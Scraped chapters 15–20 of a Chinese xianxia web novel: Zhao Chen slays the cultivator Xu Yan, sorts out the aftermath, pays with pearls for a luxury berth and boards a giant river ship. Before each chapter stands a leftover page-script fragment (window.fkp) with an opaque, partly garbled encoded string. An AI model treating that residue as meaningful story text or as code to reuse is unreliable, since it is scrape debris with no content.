\"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第十五章 收尾 许晏看着身前的一片隐约飘渺的光雾,直给自己一种毛骨悚然之感。便知这是一件可以伤到自己的法器,心中判断道:“这应是一件高阶法器。” “这短短一会儿,道友已经展现了数种妙法,数件宝物,大派弟子果然不凡。” 许晏口中赞叹着,动作却一点没慢,灵巧的向后上方避去。同时也试探出了赵尘身边护法神的情况,知道只要没有破开或耗尽这个护法神,自己是休想伤到赵尘,所以也计算着,没有用那些大威力的法术。 从许晏升起烟幕到此时还不到两个呼吸。 两人便这般追逐了起来,和在空中灵巧闪避的许晏相比,赵尘的动作就显得笨拙很多,就好像一个两三岁的顽童拿着一根短棍追逐着一只蝴蝶一般。 又过去了数个呼吸。随着护法神法力耗尽,被一道凭空出现的刀刃砍成金粉,许晏怕赵尘又掏出什么宝物,连忙将自身的内景心象展开,向赵尘罩去。 若说虚空画符是神魂一脉修士第三阶的拿手好戏,常规手段,这内景心象便是其压箱底的手段。 这是神魂一脉模仿地仙法门开辟出来的手段。若说法域是福地,这心象便就是洞天了。 神魂一脉的修士在修炼之初就会逐渐观想一些仙家气象,在第二阶神魂通透境界时便会将这些经常观想的仙家气象在心中拼凑出一方小天地似的心象。待进入第三阶,这心象便会逐渐由虚化实,能够通过法域展开。可以用来招待宾客,也可以用来对敌。 当然,这心象可以作为压箱底的手段用来对敌,自然也是神魂一脉修士的根基之一。 赵尘只看见许晏伸出手臂掌心向上,自上向下摆动手臂,手掌做抓握状。忽然眼前一晃,隐隐约约间好像浮现出一片小天地,小天地之中,一片凄风苦雨,牛毛大小,暗红色的雨水不断从天空飘落。黑影重重的旋风不断从地面卷起。 在这片天地浮现出来之时,赵尘便觉的自己好像正从外界向这片小天地跌落。 就在赵尘即将跌落自身心象之中时,许晏只觉一阵大恐怖从心中泛起。 许晏立马将展开的心象收敛回去,同时迅速向远处退去。但终究慢了一步,只见一道雷霆从眼前迸出来,远远被雷霆擦过的心象瞬间被重创。 同时爆发的雷光也让许晏神魂萎靡,六感皆失,但心中的恐怖没有丝毫消退,接着就什么都不知道了。 许晏展开心象之时,赵尘便已经早有了准备。就在赵尘即将跌入小天地的一瞬间,赵尘将一只手探入其中,手中扣着一枚庶务长老赠送的雷珠。一道璀璨的雷光从赵尘掌心迸发出来。雷光冲天而起,将整片天地撕裂开。 但正如赵尘预料中那样,这雷珠虽有第四阶修士的一击之力,但在赵尘的手中,却显的非常笨拙。许晏在察觉到危险的时候几乎完全避了开来,只是被这一击的余波擦到。 但早有准备的赵尘,在雷珠的掩护下,从袖中抽去一支青铜长矛,在赵尘全身法力的灌注之下,变的电光赫赫。之后被赵尘用力掷去,将许晏钉在地上。 待赵尘跑过去,许晏的肉身已经被雷霆烧成了碳粉,神魂被长矛钉住,不断被消磨着,估计再过个一两刻钟,怕是要魂飞魄散了。 赵尘见状,连忙将长矛收回,开始收拾起了各种收尾。 打杀了许晏,这件事并没有结束,正如赵尘前几天听到的对话,许家马上就准备起兵造反了。可以说这并州大地的人间争龙游戏已经开始了,赵尘却在事情发生的前夜将节度使、节度使的重要心腹,许家的支柱许晏全部除去,这其中的因果大了去了。 赵尘先是将整座节度使府,包括家眷、护卫、护卫的家眷、奴仆等,加在一起总共千余人,仔细检查了一遍,救治了一番,对那些恶行较重的,给予了相应的惩处。随后又将众魂魄简单超度一番。 又从府中搬来数口大缸,招来数缸的清水,依次对每座水缸手掐指决,口颂真言,将其变作甘霖,再依次将其震成水雾,招来一阵微风,将整座节度府里里外外冲刷一边。 随后将被许武捉住的所谓“药材”们全部救了出来,简单的安扶了一下。 …… 直到赵尘将许晏钉在地上,神域之中,一直盯着赵尘的神吏才将目光收回,终于松了口气:“动用了这么多手段,甚至连府君都暗中出手了两次,终于结束了。” 随即开口笑道:“这赵尘在斗法上的才情,着实普通,便是有我们在一旁看护着,最后还是要依仗外物,以力压人,又是第四阶的一击之力,又是法宝的。” “事情还没完呢,”整理文案神吏见其表情,开口道:“这许晏心思机巧,推测出了一些神道规矩,卡着底线的胡作非为,如今许晏死了,这里面那一团乱麻,弄不好就要将这位玄天门人卷进去。” “便将这些卷宗给他送去吧。”府城隍忽然开口道。 侍立在一旁的神吏躬身一拜,拿起卷宗离开。 …… 正在赵尘一筹莫展之际,恍惚之间,好像看见一个模糊的人影,好像对自己说了些什么,然后又将一沓卷宗交给了自己。 赵尘突然清醒过来,发现自己正捧着一沓卷宗,随即朝城隍庙方向恭敬一礼。 随后,赵尘从许武的子嗣中,选出了一名气运功德都是最高的人,又用入梦、惑心、幻术等手段,在梦中对其考验了一番,确定下来之后,又取出一堆宝物为其洗礼身体,更易资质,传授武功。 在赵尘的帮助下,第二天,许武的这位子嗣便初步的掌握了府中局势,随后让其将那些“上等药材”好好安置了起来。 赵尘又在暗中对其进行帮助和引导。花了将近一个月的时间,许武的这位子嗣终于稳定局势,许家又重新在源水府站住了脚跟。 整个过程中,赵尘依靠手中这些卷宗,不和除许武那位子嗣外的任何人,发生直接的接触。也不发表任何意见,最多也只是暗中引导,还不是直接的引导,而是尽量从侧面,多绕几个弯子,且尽量少出手。 便这个样给许武的子嗣当了一个月的老爷爷之后,赵尘驾着船向对面江北道飞去。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第十六章 初到临水城 三百一十二年,年底。 赵尘青衣宝剑的行走在前往临水郡郡城的官道上。 当然了,赵尘现在带在身上的这把宝剑已经不是先前那柄,而是赵尘在路上搜罗铁砂,自己炼制出来的。 之前在来的路上,赵尘已经一路掐算,判断出在峡阴府临水郡是目前最快能找到沿玄水南下的船只的地方。 先前,赵尘在源水城乘船飞过玄水进入江北道,历时一个多月,横穿桑州,又一路南下,途径大半个苍州,之后又在此穿过玄水,来到了苍州最南边的峡阴府。 玄水在江北道、玄左道和冥仑山三者交界之地,陡然西转,沿冥仑山绵延一百七十多万里,穿过了江北道的最南边苍、闵两州。在二州交界处由正西流向缓缓变成西北流向。最后在冥仑山最北点的入海口附近陡然南转,穿过冥仑山而去。 峡阴府作为最东南的一个府,和苍州其它几个位于玄水南岸的府一样,南靠冥仑山脉,北依玄水,物产丰饶,资源丰富,便是武者的平均水平都高了几个层次。 而临水郡是峡阴府几个面朝玄水的郡中最东边的一个。 赵尘不时打量着周围往来不绝的行人,十之三四都是武者。细细感应了一下,多在后天中期往上,便是后天后期的也不少见。甚至还看见了几个先天初期的好手。对此,赵尘不禁感叹道:“和并州那相比,这才更有江湖武林的感觉。” 赵尘看了眼二十丈高的郡城墙,看着城门上“临水郡”的牌匾,想起源水城,心中不由念叨着:“也不知这一条玄水之畔,到底有多少临水城?” 念头转动间,便抬步走进城中。 穿过城门,经过两百余丈的隔离带,一股红尘繁华的气息扑面而来,令赵尘颇有几分不适之感。 赵尘微微一愣,不由失笑的摇了摇头。十数年来,皆是在山中苦修,这段时间出来,不是在天上飞便是在野外行走。便是上次在源水城中的那段日子,因为特殊原因,也没这里繁华。还没有发现,离尘世久了,真把自己当仙了。 前世虽不怎么出门,但也算在这市井江湖中打滚数十年,如今却不适应起来,这心态却要不得。 摆正了一番心态之后,赵尘即拦下了一辆拉客的马车,这临水城长宽亦有数十里,若是没有这种拉客的马车,自家也没有马车的话,于一般人而言,从城南走到城北,怕是要一天的时间。 “去最大的牙行,车资多少?” 驾着马车的精壮汉子一脸歉意的对赵尘躬身笑道:“这位客人怕是第一次来临水城?实在抱歉,俺这马车不做散客,至少按天计算。” “不知这位朋友怎么称呼,一天多少钱?”随着赵尘仔细一看,发现这赶车的汉子也有后天九层的修为。 汉子一听,笑的更加灿烂了,忙开口道:“俺叫孙莽,客人叫俺大牛便好,俺自小便在这临水城长大,大家都这么叫俺。至于价钱,一天三两银子。” 赵尘闻言,笑了笑,从袖中摸出一块金子,半个巴掌大,大概七八斤重,在手中抛了抛,对孙莽道:“大牛,这些天我都用你的马车了,等若是不够的时候,你再和我说,若是有的多,那也算你的。” 据书中记载,此界的,用以人间流通的银钱自有标准,共三大类八小种:符合规定的制式铜钱。纯度唯一,形状不定的制式白银,共一两、五两、十两三种。以及纯度唯一,形状不定的制式黄金,有一两、五两、十两、百两四种。 因为事关气运,所以发行有量,兑换稳定。且只有王朝、皇朝、帝朝才有资格发放。 其中,一两银子可以兑换一千枚铜钱。这还比较符合赵尘的习惯,但金银之间的兑换却让赵尘别扭起来。也不知是此界黄金存量稀少还是其它什么原因,一两黄金足可以兑换一百两白银。 这王朝等先要将符合标准的母钱制作出来,举行祭典,之后其发行的每一枚钱币,都会按照币值,从国运中抽去一份相应数量的气运融入钱币之中。 若是敢制作私钱,若是有模板的还好,钱币承载的气运只要自己出七成,使用这个模板的王朝、皇朝、帝朝出两成,钱币在流通过程中逐渐在持有者手中抽去一丝丝气运,直到补足剩下的一成气运。 若是没有模板,制作者要付出数十上百倍于钱币承载的气运,其中绝大多数都被消耗掉,只有相当于本身币值九成的气运被钱币吸收,剩下的一成和之前一样,逐渐在流通中补足。 所以说,在这方世界,制作私钱,绝对是一件天弃人厌的事情。 而散碎金银,虽然也在流通之中,但性质更类似于使用贵金属以物易物、 王朝等会给少数金银铺子发放资格,从其手中以八成的价格收取作为贵金属货物的金银。 这些金银铺子多开在州府之中,郡中则很少有。其以七成左右的价格,从散人或没有资格的小金银铺子手中收取金银。 而这中小铺子多开在郡县之中,少数的乡里也可能有。其多是从个人手中收取金银。至于再往下,便是在乡下走街串巷,穿行在村落中,做散碎金银兑换的散人了。 至于民间交易使用金银,在符合纯度的情况下,一律这折半。 孙莽看见金子,再听见赵尘的话,笑的就更加灿烂了,连连点头,直呼:“没问题,没问题。别说这些天,就是三年都没问题。” 赵尘笑了笑,用手指托住金子,随手抛给了汉子,随即便转身上了马车。 孙莽双手接住金子,低头一看,只见刚才在赵尘手中抛动时还光滑完整的金子,此刻留下了一道清晰而深刻的,带着手指印的掌印,手印和掌印的纹路都非常清晰。 孙莽若无异常的检查了一番,随即满脸欢喜的将金块收好:“客人坐好!” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第十七章 寻船 “大牛,先载我去牙行,顺便给我介绍一下这临水城的大致情况。” 孙莽闻声,连忙开口道:“好嘞!这就走。” 说罢,连忙驾起马车向远处驶去。于此同时,孙莽连呼吸数口空气,开口介绍道:“客人,这临水城坐落在玄水之畔。南北宽五十里,东西八十里,东、西、南三侧各有三道城门,北面临着玄水,只有两道水门……” 赵尘一边和孙莽有一搭,没一搭的聊着,一边看着街上的行人多随身携带着兵刃,或和路边支着摊子的相似打扮的小贩争论着,不时伸手在兵刃处比划两下。或是出入着沿街的各个店铺。这可比源水城热闹多了。 大约过了半个时辰,孙莽将马车停在了牙行的外面,下了马车,侧立在一旁:“客人,牙行到了。” 赵尘闻言,掀起帘子从车上下来,便见临街的三层木楼,迎面便是一近三丈宽的大门,门外守着一排后天末期的武者侍卫,装饰作用更大于实际作用。穿过大门,便见一数十丈见方的大厅。赵尘刚进大厅,便有侍女将赵尘迎到一旁坐下,并奉上茶水。 赵尘刚坐定,就有一中年男子一脸和气的走了过来,拱手道:“这位公子,可有什么要帮忙的?” 赵尘看了眼中年男子,直接道:“我打算乘船西去,所以想请贵行介绍条船。” “那要看公子要去多远了,要是不出郡县的话,随便去哪个码头都能找到船,便不用我们介绍了,以免浪费公子钱财。” “要是在府内的话,码头也能找到,我们也能给公子介绍很多。要是在州内的话也有不少,但是如果出州的话却是不多了……” “我打算沿玄水乘船去南方,不知贵行可有什么可以介绍的吗?” “南方?” 中年男子诧异的看着赵尘,见赵尘点头肯定的点了点头,遂开口道:“去南边,那船资可是不少,至少千两起步,公子可考虑清楚了。” “船资不是问题,还请先生帮忙。” “这样啊,公子,这个生意我没权利做主,还请随我上楼。” 听赵尘这么一说,中年男子将赵尘请上二楼,安排在一间小间内,吩咐侍女奉上茶水点心,对赵尘道:“公子在此稍坐,我去请主事来。” 说罢,便退了出去,顺手将门合上。 见中年男子关门出去,赵尘四周看了看,伸手一弹,将一缕法力弹到门外。 与此同时,赵尘灵水擦眼,掐指念咒,往眼前一抹,施展一门灵眼类的法术,抬眼望去,因为身处其中,只见周围各色繁杂,看不清楚。 摇了摇头,又抬头向三楼看去,剔除一些乱七八糟的东西,隐约可见一团淡红色本运,其周围的各种气场好像被什么东西调和了一般,显得和谐了一点。再看其周围灵光,这是一位初入凝聚神魂境界的神魂一脉的修士,赵尘判断到。 正在赵尘胡思乱想时,忽然感觉到门外那一缕法力因被人触动,消散掉了。赵尘连忙闭上眼睛,解除法术,刚睁开眼,便看见一老者推门而进。 赵尘仔细看去,小老头个子不大,但却很是矍铄,同时也是一位先天初期的高手。 老头一脸笑容的对赵尘拱手道:“不知公子如何称呼?” 赵尘也起身回了一礼:“赵尘。” “原来是赵公子。”说着,老者和赵尘对坐在桌子旁。 “小老儿姓佘,十来岁的时候就在这家牙行讨生活,一晃都八十年过去了,今年也是九十有三了。听说赵公子要去南边?” “确是如此,我自小在山中长大,这次出来历练,听说南边繁华,打算去领略一下皇朝的风采。” “南边啊……年轻的时候倒是跟随着掌柜的去过一次南方,在那边待过十年。那边繁华是真的繁华,可谓是文采风流,上国繁华。但论一般武者的数量和修为,却是不如这儿的,毕竟这里挨着冥仑山脉,资源要丰富很多。” 佘老头感叹了一阵,回过神来对赵尘道:“赵公子要是从这里乘船去南边,要是不想屡屡换船和赶路的话,却只有一条船能做到,那便是四海商行的船了。” “四海商行?还请余老指点。” “四海商行的船每半年发一次,下一次路过这里是半个多月后,到时船在此停三天。可这船资却是不菲,共分成三等,另外公子还要多付一成的船资作为牙行的抽水。” “还请主事介绍一下这四海商行的情况,还有这三等船资又有什么分别?” “这四海商行说是商行,实际上却更接近船帮。除了这种在玄水上行走的大船,像一般穿州过府的中等船只也有不少,甚至那种出海的大船也有。” “而且这生意也做的很大,几乎所有沿江的大城都有商行的驻点。听说咱们牙行的东家祖上便在四海商行中当过一分管一小支船队的小掌柜。后来才回来开了这么一家牙行,而这牙行也就成了四海商行在临水城的驻点。” 余主事这唠唠叨叨的说了一通,意思是这四海商行生意做得很大,信誉很有保证,不拍遇到黑船。 说道这里,余主事端起茶水抿了一口:“至于公子所问三等船资有什么区别?” “最下等,每人一间屋子,屋中只有一张半床大小,屋中只有一张床和一张可做桌子的小柜子,每日和船工一起吃食,船资白银一千两或黄金十两。” “次等,每人一间两进的屋子,里间两张床大小,有床一张,桌椅一套,外间稍大些,贴墙放下一张大柜子和两张床,可带两名仆役,每日皆送一份吃食到屋中,多是鱼鲜,要好于船工,仆役可去船工处买吃食,船资白银一万两或黄金一百两。” “最上等,十丈见方的小院一座,内有正房、厢房若干,四时瓜果常备,可带十个仆役上船,可凭自愿原则在船上招募侍女、杂役。船资黄金一万两。” 听佘主事这么一说,赵尘不假思索道:“这样啊,给我来间最上等的。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第十八章 船票 佘主事一听赵尘这么说,拍了拍手,便有一劲装汉子走了进来:“去将卢掌柜请来,便说有一位客人要一张最上等的船票。” 待劲装汉子出去后,佘管事回过头来道:“卢掌柜就是商行留在牙行,用来和牙行交割账目的人。” “此外公子可要回去准备一下,船资和本行的抽水,一共是黄金一万一千两或白银一百一十万两,到时候等李掌柜将船票送来,钱货两讫。” 赵尘微微思考了一下:“我身上现钱不够,不知你家收不收宝物,要是不收的话,麻烦让人带我去寻一家珠宝行。” “珍宝的话,我们也是收的,自然不会让公子吃亏。”佘主事笑着解释了一句,转过头来,高声道:“把老王请来。” 大约过去了一刻多钟,一位侍女扶着一个独眼老头走了进来。 赵尘打眼一看,老头身材枯萎矮小,不但少了一只眼睛,连手指都少了三根,虽没有什么功夫在身,剩下的一只眼睛却炯炯有神,明亮异常,这是神火旺盛的象征。 佘主事介绍道:“这是老王,我们这最厉害的鉴宝师傅。老王鉴宝几十年,只出过几次失误。” “一次是年轻的时候,将真品看成了赝品,那一次老王挖眼立誓。又有三次,老王看错了年份,每一次都剁下一根手指为戒。除此之外,几十年间,老王就再没发生过一点失误了。” 老王伸出只有两根手指的手摆了一下:“小老儿就靠这一双眼睛和一双手吃饭,既然这眼睛看不清,这手摸不准,还留着干什么?” 赵尘面上听的肃然起的样子敬,向老王行了一礼,同时对这儿武风鼎盛,民风彪悍有了更深刻的理解。随后从袖中掏出十个布袋,放在桌上。 余主事眼光扫过十个布袋,随即对老王点了点头。 见此,老王拿起一个布袋,从中摸出一枚小孩拳头大的珠子,仔细看了看,顺手递给了佘主事,又拿起了另一个布袋。 佘主事将珠子托在手上,顿觉掌上一片湿润之感。仔细看去,珠子周围好像隐约可见丝丝水汽。 “这是蚌珠吧?”佘主事看着赵尘问道。 余主事虽然不擅长鉴宝,但在这牙行中干了这么多年,倒也经手过不少宝物,这灵珠一级的蚌珠虽然珍贵,却也不算罕见。余主事还是见过不少的,只是品相这般好的,还是第一次。 赵尘点头肯定道:“千年灵蚌之珠,佩在身上,清神醒脑,滋养身心,延缓衰老,其它杂七杂八的用处就更多了。” 佘主事点了点头:“要是其它珠子都差不多,每颗珠子白银一万两,怎么样?” “可以。” “因为数额较大,所以看的仔细点。”佘主事歉意的对赵尘解释了一句,又转过头道:“老王,如何?” “主事,其中一颗大概一千年差几个时辰,勉强算千年灵珠。剩下的,包括您手上的那颗,一共六颗珠子都是一千年多一点的。还有两颗一千一百年的,一颗一千三百年的。” “都按一千年的算吧。”说着,赵尘又从袖中摸出了一个盒子,轻轻的放在桌上。 佘主事一听,满脸笑意道:“这实在是太占公子便宜了,多谢公子了。” 说着,便看见老王轻轻的从木盒中托出了一颗比鸽子蛋略小的明珠。 老王先是一愣,然后一脸的激动,满是不可思议。 佘主事看了眼老王手中的明珠,明珠周围有隐隐一层光华在流转,托在老王手中,好似拖着一轮满月。随即转过头看着赵尘,问道:“不知公子可能为我解惑,这是什么?” “一颗百年鲛珠。”赵尘一脸的风轻云淡道。 “对,对,这就是传说中的鲛珠。这颗鲛珠大概三百年左右。传说中,百年鲛珠可以定魂安魄、镇运聚福,佩之使人不老。今日竟然见到实物,真是三生有幸。”老王一脸感叹道。 赵尘笑道:“没有那么神奇,说是佩之使人不老,也就是二十多岁时戴在身上,待其七八十岁时,看起来好像不到三十岁罢了。” 这蚌珠和鲛珠都是赵尘在许晏的收藏中发现的,当然了,赵尘并没有将之取走,而是悄悄用磨盘将之记录下来。这几颗都是赵尘前几天现做的。 “那也不错了,不知这鲛珠价值几何?”佘主事转过头问老王道。 老王思量了下,斟酌道:“主事,百年鲛珠价值百万两白银,加上极其罕见,再加上三百年的年份,这不怎么好估算啊。” 不待佘主事说话,赵尘便开口道:“便按照百万两算吧。” “那就多谢赵公子了。” 正说话间,便见两男子推门而入。赵尘抬眼看去,皆四五十岁左右。 佘主事起身道:“我来介绍一下,这是四海商行的卢掌柜,这是富贵钱庄的钱掌柜,这位是赵公子。” 接着,佘主事解释道:“公子将东西交给本行,我将签一张一百万两银子的欠条交给钱掌柜,公子待会儿在钱掌柜那留下一张花押,待公子下船后,将花押交给船主,到时候商行用花押将欠条取出,再到本行用欠条兑现银子。” 赵尘闻言,点头道:“好。”便见佘主事填了一张一百万两银子的欠条,又从身上摸出一枚小章,盖了上去。给钱掌柜和卢掌柜看了下,便交给了赵尘。 随即便收好赵尘拿出的珠子,和老王以及卢掌柜一起出去了,顺手将门关上。 钱掌柜见两人出去后,从怀中拿出一个小木箱子,从中那出两张纸,一张淡黄、一张淡蓝。用复写的手段写上凭借此可从兑取白银一百万两的话,从让赵尘在上面分别留下花押。 赵尘那起两张纸,发现两张纸都光滑、坚韧,极难损坏。便在上面分别写了一个道文花体的“尘”字。 钱掌柜对照着看了看,分别在上面写下一组编号,又用了印。将淡黄的那张收了起来,又将淡蓝的交给赵尘,并嘱托赵尘收好,到时候钱庄只认那一张淡蓝色的花押。 随后两人走出房间,赵尘将欠条交给钱掌柜,钱掌柜便告辞离开了。与此同时,卢掌柜将一枚白玉条牌交给赵尘,交待了几句便也告辞了。 待两人走后,赵尘对佘主事道:“还请佘主事介绍个地方,作为暂时的落脚之地。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第十九章 登船(上) “正好,在东水门那有套院子,虽然不大,但胜在清静,周围也繁华,离东水门也近,正好是本行自己的,便暂时借给公子吧,也不要提什么租金了。” “如此便多谢主事了。” “哪里,实在是本行占了公子的便宜。”说着,又对旁边的侍女吩咐道:“你去把乙三地十二的钥匙拿来。” 随后,两人下了楼,佘主事让人将正在休息的孙莽喊了起来,又接过侍女送来的钥匙,递给了赵尘,最后吩咐一个侍卫给赵尘带路,将赵尘宋送出了门外。 之后一段时间,赵尘每天白天在这临水城中闲逛,晚上在院中翻看从许晏那搜刮来的书籍、札记等。日子长了之后,赵尘看孙莽为人还算不坏,练武还算勤奋,还出言指点了其几句,让其感激不尽。 先前在源水城那段时间,赵尘虽然忙的心累,但却也收获不小,许晏近五百年的收藏、经历、感悟实验研究的资料成果等,绝大多数都落在了赵尘手中,对赵尘来说,都是不无小补,甚至让赵尘升起了以后要多多斩妖除魔的心思,但转眼,赵尘又很有自知之明的将这点心思磨灭。 …… 一连过去了十几天,四海商行的船终于到了。 在船靠岸的第二天上午,赵尘收拾了行礼,往东水门走去。 在东水门外,赵尘远远的便看见四海商行的船队,大小船只数十艘,其中有一艘船最大,足有一里长,八十一丈宽,从水面到甲板足有两丈多,近三丈。从甲板往上共五层,每层有一丈多高。稍微走近一点,抬头看去,甚至给人一种遮天蔽日之感。 赵尘看着眼前这艘长一点五公里,宽二百七十米往上,高从船底算起,据赵尘估计至少有上百米,在赵尘看来这体积像飞船多过像河船的东西,只能在心中感叹道:“果然是仙侠世界,这船只大小怕是比城墙高度更引人注目。” 赵尘手持着船票登上了那条最大的楼船,被一位仆从打扮的船工带上了第四层。 船工一边为赵尘引路,一边介绍起船只的大致情况。 据其介绍,船工、货物等都放在甲板下的船舱之中。 第一层作为包括船工和客人的活动之地、还有食堂等,第二层是最下等的客房,第三层是次等的客房,第四层则是最上等的小院,包括赵尘的这间在内共二十二座,目前只住了赵尘一人。 至于第五层,主要有两个作用,一是用来指挥整个船队,二是驻扎了一支由先天武者组成的护卫,必要之时可以快随前去保护第四层的客人。 船工告诉赵尘,整支船队有近百位先天武者护卫,皆是天象境及以上境界。单这条船,就有二十余位,其中有一半驻扎在第五层,所以安全方面完全不用担心之类的,并告诉赵尘一些船上需要遵守的规矩之类的。 赵尘进入小院,发现院中除了一面正房,两侧厢房之外,还有一个七丈长,六丈宽的院子,院中甚至铺了层土,种了些花草。 船工带着赵尘走进一间厢房,推门而入。赵尘发现,这是一间厨房,包括地面、墙壁、厨具、餐具在内的,皆是铁、陶瓷、石等制成,不见一点木竹。 同时向赵尘询问道:“船上每天都会将饭食做好,按时送来,当然了,若是客人需要的话,也可以每几天为客人送来一些米面菜肉,客人可以在这个厨房中自己准备吃食。” 赵尘稍做考虑,便决定让船上每隔些日子送一些米面菜肉之类的材料便可以了。 船工闻言,拿出纸笔认真记下,又指着一间角落处的厢房道:“客人,那便是茅房,每天清晨都会换上干净的恭桶。” 待赵尘点头表示了解之后,船工迅速结束这个有味道的话题,又将其他几个厢房简单介绍一遍,最后为赵尘打开正房的门,带其简单参观一番:“这就是院子的大致情况了,另外客人每天的干鲜果子和干净的饮水船上也会每天送来。” “平常的洗漱用水也是如此,若是客人想要沐浴的话,还请提前吩咐一声,船上会烧好送来。不知客人还有什么要吩咐的?” 待将赵尘的要求一一记下之后,船工将几把钥匙交给赵尘,便告辞离开。 因为要常住于此,不能将就,待船工离开,赵尘从袖中摸出一叠玉符,甩手礽在院中,先简单布置了一个简陋的小阵法。 随后又拿出一支毛笔,和一盒灵玉磨粉调水制成的透明颜料,在各面墙上画满各种符纹,又从袖中摸出一大块玉石,从磨盘中截出一点比粉尘还小的灵脉,封进玉石中,又将玉石埋进院中。 最后,赵尘盘坐在院中,一边调理着院中的种种气场、阵法以及墙上的符纹,一边又沟通着天上的各种元气和船下的水脉。慢慢的,院中的灵气虽然只隐隐的增加了几乎察觉不出来的一点,但和之前相比,却有一种和谐之感。 赵尘睁开眼睛,吐了口气,道:“终于调整出一个简陋的,道场粗胚的雏形,这便是我之后三年的家了。还是修为太低,要是一位第三阶的正仙道修士,往这里一站,就成了。要是地仙一脉的话,更是可以直接形成一座道场雏形。” 正想着,院门外忽然传来一阵敲门声,赵尘起身弹了下身上的尘土,开口道:“自己推门进来。”便看见一群人捧着各色事物进了院子。 为首的侍女开口道:“客人,我们是来给你送米面、果蔬及清水的。” 赵尘闻言点了点头,表示知道了,便见几人将米面、果蔬还有几大桶清水送进了厨房。 那个领头的侍女微微一礼:“还不知道客人贵姓?” 赵尘闻言打量了眼前的侍女一眼,这也不过十七八岁模样,做少女打扮,或者说就是一十七八岁的少女,双眼明亮,正好奇的看着赵尘,而且在其他人都往厨房送东西的时候,其身后还跟着两个和厨房中那群人相似打扮的船工。仔细一看,却都是真意境的先天武者。 “叫我赵尘就可以了,没什么贵姓不贵姓的。” 少女看一眼赵尘的装扮:“那我就称客人你赵少侠吧。赵少侠,那以后每日上午辰时来为你清理垃圾,更换瓜果、蔬菜和清水,不知可否?” “没问题,其它的都随你,但没有吩咐,不要进正房。” “一切皆依少侠吩咐。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二十章 登船(下) 第二天下午,赵尘一个人无聊的依靠在四层的栏杆上,看着船舷上面和河岸边上上下下的人群。二层的客人自己找房间,三层的客人倒是有人引着去房间,至于四楼的客人却是一个都没遇到。 “咦,又来一个。” 忽然,赵尘眼睛一亮,好想看见什么有趣的东西。只见一个黄脸汉子在一位船工的引导下走上船来。黄脸汉子身着粗布衣物,背后背着一个包裹,腰间系着一个布口袋,怀里还揣着一堆东西。吸引赵尘的却不是黄脸汉子的衣着打扮,而是他身上的气息。 赵尘把手臂一垂,便有一个小瓷瓶从袖中滑落。一把接住小瓷瓶,往眼中各滴了一滴灵药配成的灵水,又将瓷瓶塞回袖中,口颂真言,手掐指决在眼前一抹。 再向黄脸汉子看去,只见其腰间所系着的口袋内,不过几块金子,一些银锭,还有一些珠宝等财货,看着没多大,倒是装着不少东西,却是有几分芥子纳须弥的味道。袋子表面,散发着淡淡灵光。袋子中的财货加在一起,大概价值几万两银子左右。还没这袋子贵。 再看背后那包裹,不过一些衣物行礼什么的。再向那汉子怀中看去,只见几团微弱的灵光,看不清楚。大概是一些符纸法器什么的,赵尘猜测道。 最后朝黄脸汉子全身看去,其周身亦有着似有似无的微弱灵光:“倒是一位道友,大概金丹境界。” 随着眼光扫过黄脸汉子周围,赵尘又意外发现几个身怀法力之人,只是和黄脸汉子不同,这些人体内勉强流转着丝丝浑浊法力,既散乱无章又死气沉沉。灵光藏于体内,却又昏暗摇曳,连风中残烛都不如。 其实这些才是最底层的修士,散的不能再散的散修。多是偶然之间,不知从哪里意外捡来一两手残缺小术,勉强修炼出了一些法力。说他们是于道中得一法,于法中得一术的修士,那都是严重抬举。只能算作略有手段的奇人异士罢了。 这也是最底层修士的常态,之前说的那些偏仙道修士,无论神魂一脉,还是练气一脉,好像都没什么了不起,其实那都是有传承、有道统的存在。 真正的底层修士,也就是那些所谓的奇人异士,不知从哪里得来几手小术,或是自身洪福齐天,或是经过几代人乃至十几代人的努力,才能补出一部残缺的法,这才能勉强称为有传承的修士。 之后便是不知多少代人这家抄一点,那家换一点,一点点的将这部法补全、修正。若是有人用这部法成仙,得到这部法的后辈便能勉强称一声有道统的仙门弟子了。这也让赵尘再次幸运自己能拜入天门。 